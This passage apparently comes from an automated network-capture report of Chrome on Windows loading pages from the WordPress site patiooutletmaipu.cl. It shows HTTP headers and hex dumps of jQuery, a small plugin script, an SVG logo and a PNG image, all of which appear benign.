2025-01-10 19:49:30 UTC	581	OUT	GET /wp-includes/js/jquery/jquery.min.js?ver=3.7.1 HTTP/1.1 Host: patiooutletmaipu.cl Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://patiooutletmaipu.cl/tiendas/head/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 19:49:31 UTC	311	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 19:44:42 GMT Server: Apache/2 Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 12 Jun 2024 19:54:19 GMT ETag: "15601-61ab6bf78d0c0" Accept-Ranges: bytes Content-Length: 87553 Vary: Accept-Encoding,User-Agent Content-Type: application/javascript
2025-01-10 19:49:31 UTC	7881	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 37 2e 31 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.7.1 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
2025-01-10 19:49:31 UTC	8000	IN	Data Raw: 6f 64 65 26 26 74 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 74 29 2c 74 3d 6e 75 6c 6c 7d 7d 66 75 6e 63 74 69 6f 6e 20 42 28 74 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 66 65 28 65 2c 22 69 6e 70 75 74 22 29 26 26 65 2e 74 79 70 65 3d 3d 3d 74 7d 7d 66 75 6e 63 74 69 6f 6e 20 5f 28 74 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 28 66 65 28 65 2c 22 69 6e 70 75 74 22 29 7c 7c 66 65 28 65 2c 22 62 75 74 74 6f 6e 22 29 29 26 26 65 2e 74 79 70 65 3d 3d 3d 74 7d 7d 66 75 6e 63 74 69 6f 6e 20 7a 28 74 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 22 66 6f 72 6d 22 69 6e 20 65 3f 65 2e 70 61 72 65 6e 74 4e 6f 64 65 26 Data Ascii: ode&&t.parentNode.removeChild(t),t=null}}function B(t){return function(e){return fe(e,"input")&&e.type===t}}function _(t){return function(e){return(fe(e,"input")\|\|fe(e,"button"))&&e.type===t}}function z(t){return function(e){return"form"in e?e.parentNode&
2025-01-10 19:49:31 UTC	8000	IN	Data Raw: 6f 64 65 26 26 65 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 73 65 6c 65 63 74 65 64 49 6e 64 65 78 2c 21 30 3d 3d 3d 65 2e 73 65 6c 65 63 74 65 64 7d 2c 65 6d 70 74 79 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 65 3d 65 2e 66 69 72 73 74 43 68 69 6c 64 3b 65 3b 65 3d 65 2e 6e 65 78 74 53 69 62 6c 69 6e 67 29 69 66 28 65 2e 6e 6f 64 65 54 79 70 65 3c 36 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 21 30 7d 2c 70 61 72 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 21 62 2e 70 73 65 75 64 6f 73 2e 65 6d 70 74 79 28 65 29 7d 2c 68 65 61 64 65 72 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 71 2e 74 65 73 74 28 65 2e 6e 6f 64 65 4e 61 6d 65 29 7d 2c 69 6e 70 75 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e Data Ascii: ode&&e.parentNode.selectedIndex,!0===e.selected},empty:function(e){for(e=e.firstChild;e;e=e.nextSibling)if(e.nodeType<6)return!1;return!0},parent:function(e){return!b.pseudos.empty(e)},header:function(e){return q.test(e.nodeName)},input:function(e){return
2025-01-10 19:49:31 UTC	8000	IN	Data Raw: 6e 75 6c 6c 3d 3d 65 3f 74 68 69 73 2e 70 72 65 76 4f 62 6a 65 63 74 3a 74 68 69 73 2e 70 72 65 76 4f 62 6a 65 63 74 2e 66 69 6c 74 65 72 28 65 29 29 7d 7d 29 2c 63 65 2e 65 61 63 68 28 7b 70 61 72 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 2e 70 61 72 65 6e 74 4e 6f 64 65 3b 72 65 74 75 72 6e 20 74 26 26 31 31 21 3d 3d 74 2e 6e 6f 64 65 54 79 70 65 3f 74 3a 6e 75 6c 6c 7d 2c 70 61 72 65 6e 74 73 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 64 28 65 2c 22 70 61 72 65 6e 74 4e 6f 64 65 22 29 7d 2c 70 61 72 65 6e 74 73 55 6e 74 69 6c 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 72 65 74 75 72 6e 20 64 28 65 2c 22 70 61 72 65 6e 74 4e 6f 64 65 22 2c 6e 29 7d 2c 6e 65 78 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b Data Ascii: null==e?this.prevObject:this.prevObject.filter(e))}}),ce.each({parent:function(e){var t=e.parentNode;return t&&11!==t.nodeType?t:null},parents:function(e){return d(e,"parentNode")},parentsUntil:function(e,t,n){return d(e,"parentNode",n)},next:function(e){
2025-01-10 19:49:31 UTC	8000	IN	Data Raw: 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 7a 2e 73 65 74 28 74 68 69 73 2c 6e 2c 65 29 7d 29 7d 2c 6e 75 6c 6c 2c 65 2c 31 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 2c 6e 75 6c 6c 2c 21 30 29 7d 2c 72 65 6d 6f 76 65 44 61 74 61 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 7a 2e 72 65 6d 6f 76 65 28 74 68 69 73 2c 65 29 7d 29 7d 7d 29 2c 63 65 2e 65 78 74 65 6e 64 28 7b 71 75 65 75 65 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 3b 69 66 28 65 29 72 65 74 75 72 6e 20 74 3d 28 74 7c 7c 22 66 78 22 29 2b 22 71 75 65 75 65 22 2c 72 3d 5f 2e 67 65 74 28 65 2c 74 29 2c 6e 26 26 28 21 72 7c 7c 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 6e 29 3f 72 3d 5f 2e 61 Data Ascii: h(function(){z.set(this,n,e)})},null,e,1<arguments.length,null,!0)},removeData:function(e){return this.each(function(){z.remove(this,e)})}}),ce.extend({queue:function(e,t,n){var r;if(e)return t=(t\|\|"fx")+"queue",r=_.get(e,t),n&&(!r\|\|Array.isArray(n)?r=_.a
2025-01-10 19:49:31 UTC	8000	IN	Data Raw: 74 54 61 72 67 65 74 3d 69 2e 65 6c 65 6d 2c 6e 3d 30 3b 77 68 69 6c 65 28 28 6f 3d 69 2e 68 61 6e 64 6c 65 72 73 5b 6e 2b 2b 5d 29 26 26 21 75 2e 69 73 49 6d 6d 65 64 69 61 74 65 50 72 6f 70 61 67 61 74 69 6f 6e 53 74 6f 70 70 65 64 28 29 29 75 2e 72 6e 61 6d 65 73 70 61 63 65 26 26 21 31 21 3d 3d 6f 2e 6e 61 6d 65 73 70 61 63 65 26 26 21 75 2e 72 6e 61 6d 65 73 70 61 63 65 2e 74 65 73 74 28 6f 2e 6e 61 6d 65 73 70 61 63 65 29 7c 7c 28 75 2e 68 61 6e 64 6c 65 4f 62 6a 3d 6f 2c 75 2e 64 61 74 61 3d 6f 2e 64 61 74 61 2c 76 6f 69 64 20 30 21 3d 3d 28 72 3d 28 28 63 65 2e 65 76 65 6e 74 2e 73 70 65 63 69 61 6c 5b 6f 2e 6f 72 69 67 54 79 70 65 5d 7c 7c 7b 7d 29 2e 68 61 6e 64 6c 65 7c 7c 6f 2e 68 61 6e 64 6c 65 72 29 2e 61 70 70 6c 79 28 69 2e 65 6c 65 6d 2c Data Ascii: tTarget=i.elem,n=0;while((o=i.handlers[n++])&&!u.isImmediatePropagationStopped())u.rnamespace&&!1!==o.namespace&&!u.rnamespace.test(o.namespace)\|\|(u.handleObj=o,u.data=o.data,void 0!==(r=((ce.event.special[o.origType]\|\|{}).handle\|\|o.handler).apply(i.elem,
2025-01-10 19:49:31 UTC	8000	IN	Data Raw: 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 31 3d 3d 3d 74 68 69 73 2e 6e 6f 64 65 54 79 70 65 7c 7c 31 31 3d 3d 3d 74 68 69 73 2e 6e 6f 64 65 54 79 70 65 7c 7c 39 3d 3d 3d 74 68 69 73 2e 6e 6f 64 65 54 79 70 65 29 7b 76 61 72 20 74 3d 52 65 28 74 68 69 73 2c 65 29 3b 74 2e 69 6e 73 65 72 74 42 65 66 6f 72 65 28 65 2c 74 2e 66 69 72 73 74 43 68 69 6c 64 29 7d 7d 29 7d 2c 62 65 66 6f 72 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 24 65 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 68 69 73 2e 70 61 72 65 6e 74 4e 6f 64 65 26 26 74 68 69 73 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 69 6e 73 65 72 74 42 65 66 6f 72 65 28 65 2c 74 68 69 73 29 7d 29 7d 2c 61 66 74 65 72 3a 66 75 6e 63 74 69 6f 6e 28 29 7b Data Ascii: ,function(e){if(1===this.nodeType\|\|11===this.nodeType\|\|9===this.nodeType){var t=Re(this,e);t.insertBefore(e,t.firstChild)}})},before:function(){return $e(this,arguments,function(e){this.parentNode&&this.parentNode.insertBefore(e,this)})},after:function(){
2025-01-10 19:49:31 UTC	8000	IN	Data Raw: 73 4e 75 6d 62 65 72 5b 6e 5d 3f 22 22 3a 22 70 78 22 29 7d 2c 63 75 72 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 61 74 2e 70 72 6f 70 48 6f 6f 6b 73 5b 74 68 69 73 2e 70 72 6f 70 5d 3b 72 65 74 75 72 6e 20 65 26 26 65 2e 67 65 74 3f 65 2e 67 65 74 28 74 68 69 73 29 3a 61 74 2e 70 72 6f 70 48 6f 6f 6b 73 2e 5f 64 65 66 61 75 6c 74 2e 67 65 74 28 74 68 69 73 29 7d 2c 72 75 6e 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 2c 6e 3d 61 74 2e 70 72 6f 70 48 6f 6f 6b 73 5b 74 68 69 73 2e 70 72 6f 70 5d 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 64 75 72 61 74 69 6f 6e 3f 74 68 69 73 2e 70 6f 73 3d 74 3d 63 65 2e 65 61 73 69 6e 67 5b 74 68 69 73 2e 65 61 73 69 6e 67 5d 28 65 2c 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 64 75 Data Ascii: sNumber[n]?"":"px")},cur:function(){var e=at.propHooks[this.prop];return e&&e.get?e.get(this):at.propHooks._default.get(this)},run:function(e){var t,n=at.propHooks[this.prop];return this.options.duration?this.pos=t=ce.easing[this.easing](e,this.options.du
2025-01-10 19:49:31 UTC	8000	IN	Data Raw: 2c 6e 29 3a 28 31 3d 3d 3d 6f 26 26 63 65 2e 69 73 58 4d 4c 44 6f 63 28 65 29 7c 7c 28 69 3d 63 65 2e 61 74 74 72 48 6f 6f 6b 73 5b 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5d 7c 7c 28 63 65 2e 65 78 70 72 2e 6d 61 74 63 68 2e 62 6f 6f 6c 2e 74 65 73 74 28 74 29 3f 6d 74 3a 76 6f 69 64 20 30 29 29 2c 76 6f 69 64 20 30 21 3d 3d 6e 3f 6e 75 6c 6c 3d 3d 3d 6e 3f 76 6f 69 64 20 63 65 2e 72 65 6d 6f 76 65 41 74 74 72 28 65 2c 74 29 3a 69 26 26 22 73 65 74 22 69 6e 20 69 26 26 76 6f 69 64 20 30 21 3d 3d 28 72 3d 69 2e 73 65 74 28 65 2c 6e 2c 74 29 29 3f 72 3a 28 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 74 2c 6e 2b 22 22 29 2c 6e 29 3a 69 26 26 22 67 65 74 22 69 6e 20 69 26 26 6e 75 6c 6c 21 3d 3d 28 72 3d 69 2e 67 65 74 28 65 2c 74 29 29 3f 72 3a 6e 75 Data Ascii: ,n):(1===o&&ce.isXMLDoc(e)\|\|(i=ce.attrHooks[t.toLowerCase()]\|\|(ce.expr.match.bool.test(t)?mt:void 0)),void 0!==n?null===n?void ce.removeAttr(e,t):i&&"set"in i&&void 0!==(r=i.set(e,n,t))?r:(e.setAttribute(t,n+""),n):i&&"get"in i&&null!==(r=i.get(e,t))?r:nu
2025-01-10 19:49:31 UTC	8000	IN	Data Raw: 65 64 7c 7c 21 77 65 2e 74 65 73 74 28 65 29 29 7d 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 63 65 28 74 68 69 73 29 2e 76 61 6c 28 29 3b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 6e 3f 6e 75 6c 6c 3a 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 6e 29 3f 63 65 2e 6d 61 70 28 6e 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 7b 6e 61 6d 65 3a 74 2e 6e 61 6d 65 2c 76 61 6c 75 65 3a 65 2e 72 65 70 6c 61 63 65 28 4c 74 2c 22 5c 72 5c 6e 22 29 7d 7d 29 3a 7b 6e 61 6d 65 3a 74 2e 6e 61 6d 65 2c 76 61 6c 75 65 3a 6e 2e 72 65 70 6c 61 63 65 28 4c 74 2c 22 5c 72 5c 6e 22 29 7d 7d 29 2e 67 65 74 28 29 7d 7d 29 3b 76 61 72 20 4d 74 3d 2f 25 32 30 2f 67 2c 52 74 3d 2f 23 2e 2a 24 2f 2c 49 74 3d 2f 28 5b 3f 26 5d 29 5f 3d 5b 5e Data Ascii: ed\|\|!we.test(e))}).map(function(e,t){var n=ce(this).val();return null==n?null:Array.isArray(n)?ce.map(n,function(e){return{name:t.name,value:e.replace(Lt,"\r\n")}}):{name:t.name,value:n.replace(Lt,"\r\n")}}).get()}});var Mt=/%20/g,Rt=/#.*$/,It=/([?&])_=[^

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.17	49708	200.111.89.45	443	7060	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:49:30 UTC	610	OUT	GET /wp-content/plugins/stop-user-enumeration/frontend/js/frontend.js?ver=1.6.1 HTTP/1.1 Host: patiooutletmaipu.cl Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://patiooutletmaipu.cl/tiendas/head/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 19:49:31 UTC	307	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 19:44:42 GMT Server: Apache/2 Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Fri, 26 Jul 2024 13:17:37 GMT ETag: "1e6-61e2655c79e40" Accept-Ranges: bytes Content-Length: 486 Vary: Accept-Encoding,User-Agent Content-Type: application/javascript
2025-01-10 19:49:31 UTC	486	IN	Data Raw: 2f 2a 0a 52 65 6d 6f 76 65 20 6e 75 6d 62 65 72 73 20 66 72 6f 6d 20 63 6f 6d 6d 65 6e 74 20 61 75 74 68 6f 72 0a 2a 2f 0a 0a 64 6f 63 75 6d 65 6e 74 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 27 2c 20 66 75 6e 63 74 69 6f 6e 20 28 65 76 65 6e 74 29 20 7b 0a 20 20 20 20 76 61 72 20 63 6f 6d 6d 65 6e 74 46 6f 72 6d 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 63 6f 6d 6d 65 6e 74 66 6f 72 6d 22 29 3b 0a 20 20 20 20 69 66 20 28 6e 75 6c 6c 20 3d 3d 3d 20 63 6f 6d 6d 65 6e 74 46 6f 72 6d 29 20 7b 0a 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 3b 0a 20 20 20 20 7d 0a 20 20 20 20 76 61 72 20 61 75 74 68 6f 72 20 3d 20 63 6f 6d 6d 65 6e 74 46 6f 72 6d 2e 71 75 65 Data Ascii: /Remove numbers from comment author/document.addEventListener('DOMContentLoaded', function (event) { var commentForm = document.getElementById("commentform"); if (null === commentForm) { return; } var author = commentForm.que

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.17	49710	200.111.89.45	443	7060	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:49:32 UTC	637	OUT	GET /wp-content/uploads/2021/11/LOGO-MAIPU.svg HTTP/1.1 Host: patiooutletmaipu.cl Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://patiooutletmaipu.cl/tiendas/head/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 19:49:32 UTC	299	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 19:44:43 GMT Server: Apache/2 Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 03 Nov 2021 15:48:54 GMT ETag: "a60-5cfe458de2580" Accept-Ranges: bytes Content-Length: 2656 Vary: Accept-Encoding,User-Agent Content-Type: image/svg+xml
2025-01-10 19:49:32 UTC	2656	IN	Data Raw: 3c 73 76 67 20 65 6e 61 62 6c 65 2d 62 61 63 6b 67 72 6f 75 6e 64 3d 22 6e 65 77 20 30 20 30 20 39 32 20 34 35 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 39 32 20 34 35 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 78 6d 6c 6e 73 3a 78 6c 69 6e 6b 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 6c 69 6e 6b 22 3e 3c 63 6c 69 70 50 61 74 68 20 69 64 3d 22 61 22 3e 3c 70 61 74 68 20 64 3d 22 6d 30 20 32 2e 39 68 39 32 76 33 39 2e 32 68 2d 39 32 7a 22 2f 3e 3c 2f 63 6c 69 70 50 61 74 68 3e 3c 63 6c 69 70 50 61 74 68 20 69 64 3d 22 62 22 3e 3c 70 61 74 68 20 64 3d 22 6d 2d 31 32 2e 32 2d 39 2e 34 68 31 31 36 2e 34 76 36 35 2e 35 68 2d 31 31 36 2e 34 7a 22 2f 3e 3c Data Ascii: <svg enable-background="new 0 0 92 45" viewBox="0 0 92 45" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><clipPath id="a"><path d="m0 2.9h92v39.2h-92z"/></clipPath><clipPath id="b"><path d="m-12.2-9.4h116.4v65.5h-116.4z"/><

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.17	49711	200.111.89.45	443	7060	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:49:32 UTC	631	OUT	GET /wp-content/uploads/2025/01/head.png HTTP/1.1 Host: patiooutletmaipu.cl Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://patiooutletmaipu.cl/tiendas/head/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 19:49:32 UTC	263	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 19:44:43 GMT Server: Apache/2 Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Thu, 09 Jan 2025 12:39:44 GMT ETag: "8b88-62b4545d0bd4b" Accept-Ranges: bytes Content-Length: 35720 Content-Type: image/png
2025-01-10 19:49:32 UTC	7929	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 04 38 00 00 04 38 08 06 00 00 00 ec 10 6c 8f 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 96 65 58 49 66 4d 4d 00 2a 00 00 00 08 00 05 01 1a 00 05 00 00 00 01 00 00 00 4a 01 1b 00 05 00 00 00 01 00 00 00 52 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 11 00 00 00 5a 87 69 00 04 00 00 00 01 00 00 00 6c 00 00 00 00 00 00 00 5c 00 00 00 01 00 00 00 5c 00 00 00 01 77 77 77 2e 69 6e 6b 73 63 61 70 65 2e 6f 72 67 00 00 00 03 a0 01 00 03 00 00 00 01 00 01 00 00 a0 02 00 04 00 00 00 01 00 00 04 38 a0 03 00 04 00 00 00 01 00 00 04 38 00 00 00 00 62 08 b4 4a 00 00 00 09 70 48 59 73 00 00 0e 26 00 00 0e 26 01 a2 ef 25 fc 00 00 01 64 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 Data Ascii: PNGIHDR88lsRGBeXIfMM*JR(1Zil\\www.inkscape.org88bJpHYs&&%diTXtXML:com.adobe.xmp
2025-01-10 19:49:32 UTC	8000	IN	Data Raw: 80 80 e3 99 1e 7e 45 80 c0 90 08 9c 70 c2 09 e9 dc 73 cf 4d 67 9f 7d 76 7a d1 8b 5e 94 e6 ce 9d 3b a1 ca b7 6c d9 92 ee bc f3 ce 74 ed b5 d7 a6 ab af be 3a dd 76 db 6d 69 cf 9e 3d 13 7a 0f 2f 26 40 80 00 01 02 04 08 10 20 40 a0 7b 02 53 f2 5b f9 8e bc 7b 9e de 89 00 81 86 05 a6 4e 9d 9a ce 3a eb ac 74 d1 45 17 a5 57 bd ea 55 69 f6 ec d9 5d 99 6d b9 8a e3 86 1b 6e 48 9f fb dc e7 d2 97 bf fc 65 57 75 74 45 d5 9b 10 20 40 80 00 01 02 04 08 10 98 98 80 80 63 62 5e 5e 4d 80 40 50 81 97 bf fc e5 e9 43 1f fa 50 27 d8 28 fb 6b 4c d6 51 82 8e 4f 7e f2 93 e9 9a 6b ae 99 ac 53 78 5f 02 04 08 10 20 40 80 00 01 02 04 9e 45 40 c0 f1 2c 28 fe 13 01 02 83 23 b0 7c f9 f2 4e b0 71 e1 85 17 a6 d1 d1 d1 9e 14 56 36 25 fd c2 17 be 90 2e bb ec b2 ce 3e 1d 3d 39 a9 93 10 20 40 Data Ascii: ~EpsMg}vz^;lt:vmi=z/&@ @{S[{N:tEWUi]mnHeWutE @cb^^M@PCP'(kLQO~kSx_ @E@,(#\|NqV6%.>=9 @
2025-01-10 19:49:32 UTC	8000	IN	Data Raw: 00 01 02 04 08 34 25 20 e0 68 aa 1d 26 43 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 d4 08 08 38 6a d4 8c 21 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 9a 12 10 70 34 d5 0e 93 21 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 6a 04 04 1c 35 6a c6 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 4d 09 08 38 9a 6a 87 c9 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 35 02 02 8e 1a 35 63 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 81 a6 04 04 1c 4d b5 c3 64 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 81 1a 01 01 47 8d 9a 31 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 40 53 02 02 8e a6 da 61 32 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 40 8d 80 80 a3 46 cd 18 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 a0 29 01 01 47 53 ed 30 19 02 04 08 10 20 40 80 Data Ascii: 4% h&C @8j!@ @p4!@ @j5j @ @M8j @ @55c @ @Md @ @G1 @ @@Sa2 @ @@F @ @)GS0 @
2025-01-10 19:49:32 UTC	8000	IN	Data Raw: 01 02 04 ba 2c d0 82 81 4f d5 4b 09 b6 d7 f9 37 ce bf 00 cf b7 b7 a3 f5 4c 87 47 8f 4d 96 fb 1e de 53 8e cd 9c cd b7 03 f3 54 fc ec a9 a9 f2 73 75 05 98 53 f5 8c 9a ac a7 b5 b7 e3 69 53 5d 65 e1 d3 6d c9 e1 35 5e ae cf d3 66 5f 5a 41 02 eb 56 af 2e a9 53 e4 d0 ab 96 d7 64 3d 53 2e ec ca 50 0e fd c6 1c ca b6 28 8a 00 01 02 04 08 10 18 76 81 f7 5d bf ad bc 75 c7 a6 b4 33 fc af a9 e1 c6 de 33 33 e5 9e af 3f 5f 5e ac ff ed d2 f6 b5 c3 a7 ca cf 3f f2 62 dd a5 2b d2 7e ee db 96 1a be 63 eb 86 72 d7 ee 1d 5d 6a 8d 7d 21 b0 28 81 76 f9 dc d6 d1 d5 f5 8c 87 6e 6d 73 27 a5 74 6b 97 86 66 6f 04 1c 43 d3 0a 85 10 20 40 80 00 01 02 59 04 ee 18 5f 3f 77 09 c1 cc b9 9c 2f bb db f5 df ed 72 8e 4f 7f 7d 4f 79 f2 c4 54 16 f6 45 d5 f9 db cf 1d 29 bf fe f4 a1 d2 ce 52 c9 ba Data Ascii: ,OK7LGMSTsuSiS]em5^f_ZAV.Sd=S.P(v]u333?_^?b+~cr]j}!(vnms'tkfoC @Y_?w/rO}OyTE)R
2025-01-10 19:49:32 UTC	3791	IN	Data Raw: 04 08 04 01 01 47 00 31 24 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 f2 09 08 38 f2 f5 4c c5 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 40 10 10 70 04 10 43 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 20 9f 80 80 23 5f cf 54 4c 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 04 01 01 47 00 31 24 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 f2 09 08 38 f2 f5 4c c5 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 40 10 10 70 04 10 43 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 20 9f 80 80 23 5f cf 54 4c 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 04 01 01 47 00 31 24 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 f2 09 08 38 f2 f5 4c c5 04 08 10 20 40 80 00 01 02 04 08 